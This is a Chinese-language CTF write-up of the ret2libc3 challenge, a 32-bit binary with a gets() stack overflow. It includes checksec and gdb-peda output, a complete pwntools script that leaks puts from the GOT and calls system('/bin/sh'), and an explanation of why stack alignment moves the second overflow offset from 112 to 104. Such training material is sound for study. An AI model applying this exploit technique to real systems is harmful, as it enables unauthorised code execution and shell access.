wiki--ret2libc3

1:checksec

hunter@hunter:~/PWN/level3$ checksec ret2libc3
[*] '/home/hunter/PWN/level3/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只有NX开启

2:IDA 检查发现没有system和binsh字符串

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

显然此处gets存在溢出

3:gdb调试测其溢出点

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xf7fb25c0 --> 0xfbad2288 
EDX: 0xf7fb389c --> 0x0 
ESI: 0xf7fb2000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd04c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x8048695 (<main+125>:    ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868a <main+114>:    call   0x8048440 <gets@plt>
   0x804868f <main+119>:    mov    eax,0x0
   0x8048694 <main+124>:    leave  
=> 0x8048695 <main+125>:    ret    
   0x8048696:    xchg   ax,ax
   0x8048698:    xchg   ax,ax
   0x804869a:    xchg   ax,ax
   0x804869c:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd04c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd050 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd054 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd058 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd05c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd060 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd064 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd068 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048695    30    in ret2libcGOT.c
gdb-peda$ pattern offset AA8AANA
AA8AANA found at offset: 112
gdb-peda$ 

溢出点为112

思路:

存在栈溢出,可利用函数为puts gets。我们构造一个puts函数让其输出puts函数的got表地址上的内容–即真正的地址,利用栈溢出控制程序转跳来实现。得到puts函数的确切地址后找到该函数在libc文件中的offset即求出libc地址,有了libc地址啥都好说。将上面构造的puts函数返回地址设置为main函数就可再次进行程序控制,不过这次控制它打开shell。

exp:libc的地址也可以用__libc_start_main_got来获得

from pwn import*
from LibcSearcher import*

context.log_level = 'debug'

elf = ELF("ret2libc3")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#__libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']

sh = process("./ret2libc3")

#payload1 = "A"*112 + p32(puts_plt) + p32(main_addr) + p32(__libc_start_main_got)

payload1 = "A"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

sh.recv()

gdb.attach(sh)

sh.sendline(payload1)

puts_addr = u32(sh.recv(4))

libc = LibcSearcher("puts",puts_addr)

libc_addr = puts_addr - libc.dump("puts")
system_addr = libc_addr + libc.dump("system")
binsh_addr = libc_addr + libc.dump("str_bin_sh")

payload2 = "A"*112 + p32(system_addr) + p32(0) + p32(binsh_addr)

sh.sendline(payload2)

sh.interactive()

在语法上是没有啥问题的,但是很可惜是错的。原因:第二次用gets进行溢出时溢出点发生了变化

4:探究

我们来看看main函数的反汇编:

 08048618 <main>:
 8048618:    55                       push   ebp    
 8048619:    89 e5                    mov    ebp,esp
 804861b:    83 e4 f0                 and    esp,0xfffffff0
 804861e:    83 c4 80                 add    esp,0xffffff80
 8048621:    a1 60 a0 04 08           mov    eax,ds:0x804a060
 8048626:    c7 44 24 0c 00 00 00     mov    DWORD PTR [esp+0xc],0x0
 804862d:    00 
 804862e:    c7 44 24 08 02 00 00     mov    DWORD PTR [esp+0x8],0x2
 8048635:    00 
 8048636:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 804863d:    00 
 804863e:    89 04 24                 mov    DWORD PTR [esp],eax
 8048641:    e8 5a fe ff ff           call   80484a0 <setvbuf@plt>
 8048646:    a1 40 a0 04 08           mov    eax,ds:0x804a040
 804864b:    c7 44 24 0c 00 00 00     mov    DWORD PTR [esp+0xc],0x0
 8048652:    00 
 8048653:    c7 44 24 08 01 00 00     mov    DWORD PTR [esp+0x8],0x1
 804865a:    00 
 804865b:    c7 44 24 04 00 00 00     mov    DWORD PTR [esp+0x4],0x0
 8048662:    00 
 8048663:    89 04 24                 mov    DWORD PTR [esp],eax
 8048666:    e8 35 fe ff ff           call   80484a0 <setvbuf@plt>
 804866b:    c7 04 24 40 87 04 08     mov    DWORD PTR [esp],0x8048740
 8048672:    e8 e9 fd ff ff           call   8048460 <puts@plt>
 8048677:    c7 04 24 6b 87 04 08     mov    DWORD PTR [esp],0x804876b
 804867e:    e8 ad fd ff ff           call   8048430 <printf@plt>
 8048683:    8d 44 24 1c              lea    eax,[esp+0x1c]
 8048687:    89 04 24                 mov    DWORD PTR [esp],eax
 804868a:    e8 b1 fd ff ff           call   8048440 <gets@plt>
 804868f:    b8 00 00 00 00           mov    eax,0x0
 8048694:    c9                       leave  
 8048695:    c3                       ret   

第一第二行是常规操作。

第四第五行:被称为栈对齐

804861b:    83 e4 f0                 and    esp,0xfffffff0  //esp最后一个字节清零
804861e:    83 c4 80                 add    esp,0xffffff80  //esp倒数第二个字节如果大于等于8则变为8,小于则清零,倒数第一个字节也清零

栈对齐有关资料:64位

许多计算机系统对基本数据类型的合法地址做了一些限制,要求某种类型对象的地址必须是某个值K的倍数,其中K具体如下图。这种对齐限制简化了形成处理器和内存系统之间接口的硬件设计。举个实际的例子:比如我们在内存中读取一个8字节长度的变量,那么这个变量所在的地址必须是8的倍数。如果这个变量所在的地址是8的倍数,那么就可以通过一次内存操作完成该变量的读取。倘若这个变量所在的地址并不是8的倍数,那么可能就需要执行两次内存读取,因为该变量被放在两个8字节的内存块中了。

无论数据是否对齐,x86_64硬件都能正常工作,但是却会降低系统的性能,所以我们的编译器在编译时一般会为我们实施数据对齐。

栈的字节对齐,实际是指栈顶指针必须须是16字节的整数倍。栈对齐帮助在尽可能少的内存访问周期内读取数据,不对齐堆栈指针可能导致严重的性能下降。
上文我们说,即使数据没有对齐,我们的程序也是可以执行的,只是效率有点低而已,但是某些型号的Intel和AMD处理器对于有些实现多媒体操作的SSE指令,如果数据没有对齐的话,就无法正确执行。这些指令对16字节内存进行操作,在SSE单元和内存之间传送数据的指令要求内存地址必须是16的倍数。

因此,任何针对x86_64处理器的编译器和运行时系统都必须保证分配用来保存可能会被SSE寄存器读或写的数据结构的内存,都必须是16字节对齐的,这就形成了一种标准:
任何内存分配函数(alloca, malloc, calloc或realloc)生成的块起始地址都必须是16的倍数。
大多数函数的栈帧的边界都必须是16直接的倍数。
在运行时栈中,不仅传递的参数和局部变量要满足字节对齐,我们的栈指针(%rsp)也必须是16的倍数。

详情见:https://www.cnblogs.com/tcctw/p/11333743.html

总结:为了满足数据对齐和栈字节对齐的要求,或者说规范,编译器不惜牺牲了部分内存,这使得程序提高了兼容性,也提高了程序的性能

在常规操作push ebp 和mov ebp,esp后面免不了这种调整栈空间的指令 这样的指令对第一次求溢出是没有影响的,因为只要看最后的ret部分。但是如果进行第二次攻击再次从main函数进入将再次执行这样的影响 esp的指令 我们再次使用之前的溢出点就可能会出错。就像这里的栈对齐操作,显然这个操作与esp本身的大小有关。在程序最后直接ret到main函数会导致esp加4从而下次的栈对齐操作因为esp变化了所以栈空间也会发生变化。导致变化完了后esp到ebp的距离不再是114. 解决方法就是在脚本中用gdb.attach()进入调试在即将进行第二次之前在main函数下断点,从而观察,调整溢出点。

下面我直接跳到ret处了,从这里的esp也很容易看出前面8个A是多余的所以得出第二次溢出点位104

EBX: 0x0 
ECX: 0xf7f9b5c0 --> 0xfbad2288 
EDX: 0xf7f9c89c --> 0x0 
ESI: 0xf7f9b000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffbedef4 ("AAAAAAAA\020-\340", <incomplete sequence \367>)
EIP: 0x8048695 (<main+125>:    ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804868a <main+114>:    call   0x8048440 <gets@plt>
   0x804868f <main+119>:    mov    eax,0x0
   0x8048694 <main+124>:    leave  
=> 0x8048695 <main+125>:    ret    
   0x8048696:    xchg   ax,ax
   0x8048698:    xchg   ax,ax
   0x804869a:    xchg   ax,ax
   0x804869c:    xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbedef4 ("AAAAAAAA\020-\340", <incomplete sequence \367>)
0004| 0xffbedef8 ("AAAA\020-\340", <incomplete sequence \367>)
0008| 0xffbedefc --> 0xf7e02d10 (<system>:    sub    esp,0xc)
0012| 0xffbedf00 --> 0x0 
0016| 0xffbedf04 --> 0xf7f418cf ("/bin/sh")
0020| 0xffbedf08 --> 0xf7f9b000 --> 0x1d4d6c 
0024| 0xffbedf0c --> 0xf7fce75a (add    edi,0x178a6)
0028| 0xffbedf10 --> 0xf7fe6000 --> 0x26f34 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

最终结果:

[*] Switching to interactive mode
v\x84\x04\x86\x84\x04\x90m���Z��\xb6\x84\x04Ƅ\x04
No surprise anymore, system disappeard QQ.
Can you find it !?$ ls

  转载请注明: Squarer wiki--ret2libc3

  目录